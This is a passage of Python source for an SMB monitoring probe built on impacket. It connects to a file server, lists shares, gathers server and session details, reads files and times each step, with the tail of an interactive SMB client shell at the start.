i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask,display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close() def do_close(self, line): self.do_logoff(line) def do_list_snapshots(self, line): l = line.split(' ') if len(l) > 0: pathName= l[0].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) snapshotList = self.smb.listSnapshots(self.tid, pathName) if not snapshotList: print("No snapshots found") return for timestamp in snapshotList: print(timestamp) def do_mount(self, line): l = line.split(' ') if len(l) > 1: target = l[0].replace('/','\\') pathName= l[1].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) self.smb.createMountPoint(self.tid, pathName, target) def do_umount(self, mountpoint): mountpoint = mountpoint.replace('/','\\') # Relative or absolute path? if mountpoint.startswith('\\') is not True: mountpoint = ntpath.join(self.pwd, mountpoint) mountPath = ntpath.join(self.pwd, mountpoint) self.smb.removeMountPoint(self.tid, mountPath) def do_EOF(self, line): print('Bye!\n') return True
class probe_smb(probemain): """ SMB probe """ # ----------------------------------------- def __init__(self): """constructor """ probemain.__init__(self, "SMB") self.smbClient = None self.aShares = None self.dceInfo = None self.domain = None self.ip = None self.password = None self.port = None self.pwd = None self.server = None self.share = None self.tid = None self.username = None self.bConnected = None self.bGuestConnected = None self.__clean() self.checkNet() self.getConfig("smb", self.job_smb) self.mainLoop() # ----------------------------------------- def __clean(self): """clean all variables""" self.bConnected = False self.bGuestConnected = True self.dceInfo = {} self.aShares = [] self.tid = None self.pwd = '\\' self.share = '' # ----------------------------------------- def getConfig(self, name, f, testf=None): """get the configuration from the database """ jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK) for j in jobs: logging.info("add job to scheduler every {} sec".format(j['freq'])) # -------------------------------------------------- def connect(self): """connect to the server """ try: self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port) self.smbClient.login(self.username, self.password, self.domain, '', '') except Exception as e: logging.error(str(e)) self.bConnected = False return False self.bConnected = True self.bGuestConnected = (self.smbClient.isGuestSession() > 0) return True # -------------------------------------------------- def isUserLogged(self): """is the connection guest """ return self.bGuestConnected # -------------------------------------------------- def getDCEInfo(self): """information on the DCE/RPC connection """ if self.bConnected is False: return rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) r = { "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'], "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')), "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'], "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], "type": resp['InfoStruct']['ServerInfo102']['sv102_type'], "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')), "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'], "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'], "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'], "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'], "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'], "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'], "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', '')) } self.dceInfo = r del rpctransport del dce del resp return r # -------------------------------------------------- def getWho(self): """who is connected -> error """ try: rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smbClient) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) except Exception as e: logging.error("getWho: {}".format(str(e))) return for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) # -------------------------------------------------- def getShares(self): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return r = [] resp = self.smbClient.listShares() for respi in resp: r.append(respi['shi1_netname'][:-1]) self.aShares = r return r # -------------------------------------------------- def getShare(self, regexp=".*"): """get shares available on the server """ if self.bConnected is False: logging.error("No connection open") return resp = self.smbClient.listShares() for i, _ in enumerate(resp): netname = resp[i]['shi1_netname'][:-1] _r = re.match(regexp, netname) if _r != None: return { "netname": netname, "type": resp[i]['shi1_type'], "remark": resp[i]['shi1_remark'][:-1] } return False # -------------------------------------------------- def useShare(self, share): """use a share """ if self.bConnected is False: logging.error("No connection open") return False if not self.aShares: self.getShares() if share not in self.aShares: logging.error("useShare : share {} not available on server".format(share)) return False try: self.tid = self.smbClient.connectTree(share) except Exception as e: logging.error("useShare: {}".format(str(e))) return False logging.debug("connected on share {}".format(share)) self.share = share # -------------------------------------------------- def cd(self, _dir): """change directory on the share """ if self.bConnected is False: logging.error("No connection open") return if self.tid is None: logging.error("not on a share") return pwd = ntpath.normpath(string.replace(_dir, '/', '\\')) logging.debug("cd to normalize path {}".format(pwd)) # Let's try to open the directory to see if it's valid try: fid = self.smbClient.openFile(self.tid, pwd, creationOption=FILE_DIRECTORY_FILE, desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE) self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("cd: {}".format(str(e))) return False logging.debug("success cd to {}".format(_dir)) self.pwd = pwd return True # -------------------------------------------------- def lsFiles(self, _filter='*'): """list files in the directory """ if self.bConnected is False: logging.error("No connection open") return False if self.share == '': logging.error("No share selected, see useShare()") return False if self.tid is None: logging.error("not on a share") return False logging.debug("ls on share {} in {}".format(self.share, self.pwd)) pwd = ntpath.join(self.pwd, _filter) r = [] try: for f in self.smbClient.listPath(self.share, pwd): if f.is_directory() == 0: r.append({ "mtime": f.get_mtime_epoch(), "ctime": f.get_ctime_epoch(), "atime": f.get_atime_epoch(), "size": f.get_filesize(), "name": str(f.get_longname()) }) except Exception as ex: logging.error("file list: {}".format(str(ex))) return r # -------------------------------------------------- def logoff(self): """get off the server """ if self.smbClient is None or self.bConnected is False: logging.error("No connection open") else: self.smbClient.logoff() del self.smbClient self.__clean() # -------------------------------------------------- def __str__(self): """for print """ import pprint s = "smb client object:\n" s += " configuration:\n" s += " domain/user:pwd: {}/{}:{}\n".format(self.domain, self.username, self.password) s += " server/ip:port: {}/{}:{}\n".format(self.server, self.ip, self.port) s += "\n status:\n" if self.bConnected: if self.bGuestConnected: s += " guest connected\n" else: s += " user connected\n" else: s += " not connected\n" if self.dceInfo.__contains__('licenses'): s += "\n DCE Info: {}\n".format(pprint.pformat(self.dceInfo)) if self.aShares: s += "\n shares = {}\n".format(pprint.pformat(self.aShares)) return s # ----------------------------------------- def step_get_file_stats(self, _step, iStep): """get_file_stats action """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] _ms = time.time() sError = "smb-step-{:02d}-error".format(iStep) if self.useShare(_step['share']) is False: result[sError] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] if self.cd(_step['path']) is False: result[sError] = "path not available in share: {}".format(_step['share']) return result result["smb-step-{:02d}-path".format(iStep)] = str(_step['path']) a = self.lsFiles(_step['file']) if a is False: result[sError] = "file access error: {}".format(_step['file']) return result if len(a) == 0: result[sError] = "file not found: {}".format(_step['file']) return result result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-file".format(iStep)] = a[0]['name'] result["smb-step-{:02d}-atime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['atime']).isoformat() result["smb-step-{:02d}-ctime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['ctime']).isoformat() result["smb-step-{:02d}-mtime".format(iStep)] = datetime.datetime.utcfromtimestamp(a[0]['mtime']).isoformat() result["smb-step-{:02d}-size".format(iStep)] = a[0]['size'] return result #pprint.pprint(a) # ----------------------------------------- def step_get_share(self, _step, iStep): """get_share action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getShare(_step['share']) if r != False: result["smb-step-{:02d}-remark".format(iStep)] = r['remark'] result["smb-step-{:02d}-netname".format(iStep)] = r['netname'] else: result["smb-step-{:02d}-error".format(iStep)] = "not found: {}".format(_step['share']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def step_get_dce_info(self, _step, iStep): """get DCE action """ result = {} _ms = time.time() result["smb-step-{:02d}-action".format(iStep)] = _step['type'] r = self.getDCEInfo() result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) result["smb-step-{:02d}-anndelta".format(iStep)] = r['anndelta'] result["smb-step-{:02d}-announce".format(iStep)] = r['announce'] result["smb-step-{:02d}-disc".format(iStep)] = r['disc'] result["smb-step-{:02d}-licenses".format(iStep)] = r['licenses'] result["smb-step-{:02d}-major".format(iStep)] = r['major'] result["smb-step-{:02d}-minor".format(iStep)] = r['minor'] result["smb-step-{:02d}-name".format(iStep)] = r['name'] result["smb-step-{:02d}-platform_id".format(iStep)] = r['platform_id'] result["smb-step-{:02d}-simultaneous_users".format(iStep)] = r['simultaneous_users'] return result # ----------------------------------------- def step_read_file(self, _step, iStep): """read a file """ result = {} result["smb-step-{:02d}-action".format(iStep)] = _step['type'] if self.useShare(_step['share']) is False: result["smb-step-{:02d}-error"] = "share not available: {}".format(_step['share']) return result result["smb-step-{:02d}-share".format(iStep)] = _step['share'] fileName = ntpath.normpath(string.replace(_step['file'], '/', '\\')) logging.debug("open file {}".format(fileName)) if _step.__contains__('blocksize'): blocksize = min(1024, _step['blocksize']) blocksize *= 1024 else: blocksize = 1024*1024 _ms = time.time() try: fid = self.smbClient.openFile(self.tid, fileName) offset = 0 endFile = False while endFile is False: _buffer = self.smbClient.readFile(self.tid, fid, offset, blocksize) if len(_buffer) == 0: endFile = True offset += len(_buffer) result["smb-step-{:02d}-read-KB".format(iStep)] = offset / 1024.0 result["smb-step-{:02d}-Mbps".format(iStep)] = (offset * 8 / (time.time() - _ms))/1024000 self.smbClient.closeFile(self.tid, fid) except Exception as e: logging.error("open file: {}".format(str(e))) result["smb-step-{:02d}-error".format(iStep)] = "error in open file: {}".format(_step['file']) result["smb-step-{:02d}-delay-ms".format(iStep)] = round((time.time() - _ms) * 1000) return result # ----------------------------------------- def job_smb(self, _config): """smb job """ _msTotal = time.time() if not _config.__contains__('server'): logging.error("no server specified") return if not _config.__contains__('user'): _config['user'] = "" if not _config.__contains__('password'): _config['password'] = "" if not _config.__contains__('domain'): _config['domain'] = "" if not _config.__contains__('ip'): _config['ip'] = _config['server'] if not _config.__contains__('port'): _config['port'] = 445 self.domain = _config['domain'] self.username = _config['user'] self.password = _config['password'] self.server = _config['server'] self.ip = _config['ip'] self.port = _config['port'] result = { "smb-domain": self.domain, "smb-user": self.username, "smb-server" : self.server } if not _config.__contains__('steps'): logging.error("no steps specified") result['smb-error'] = "no step specified in configuration" self.pushResult(result) return logging.info("connect") _ms = time.time() if self.connect() is False: logging.error("connect error") result['smb-error'] = "connect error" self.pushResult(result) return result['smb-connect-delay-ms'] = round((time.time() - _ms) * 1000) _ms = time.time() self.getShares() result['smb-get-shares-delay-ms'] = round((time.time() - _ms) * 1000) # exec each steps iStep = 1 while _config['steps'].__contains__("{:02d}".format(iStep)): _step = _config['steps']["{:02d}".format(iStep)] logging.debug("exec step {:02d}".format(iStep)) if _step['type'] == "get_file_stats": _r = self.step_get_file_stats(_step, iStep) result.update(_r) if _step['type'] == "get_dce_info": _r = self.step_get_dce_info(_step, iStep) result.update(_r) if _step['type'] == "get_share": _r = self.step_get_share(_step, iStep) result.update(_r) if _step['type'] == "read_file": _r = self.step_read_file(_step, iStep) result.update(_r) iStep += 1 # get the shares # print self.getShares() # get dce server info # pprint.pprint(self.getDCEInfo()) # self.useShare("notavail") # self.useShare("music") # self.cd("/Calogero/L'Embellie") # pprint.pprint(self.lsFiles()) logging.info("logout") self.logoff() result['smb-delay-ms'] = round((time.time() - _msTotal) * 1000) import pprint pprint.pprint(result) # logging.info("smb results : {}".format(result)) # exit() #self.pushResult(result) if 'run_once' in _config: logging.info("run only once, exit") exit()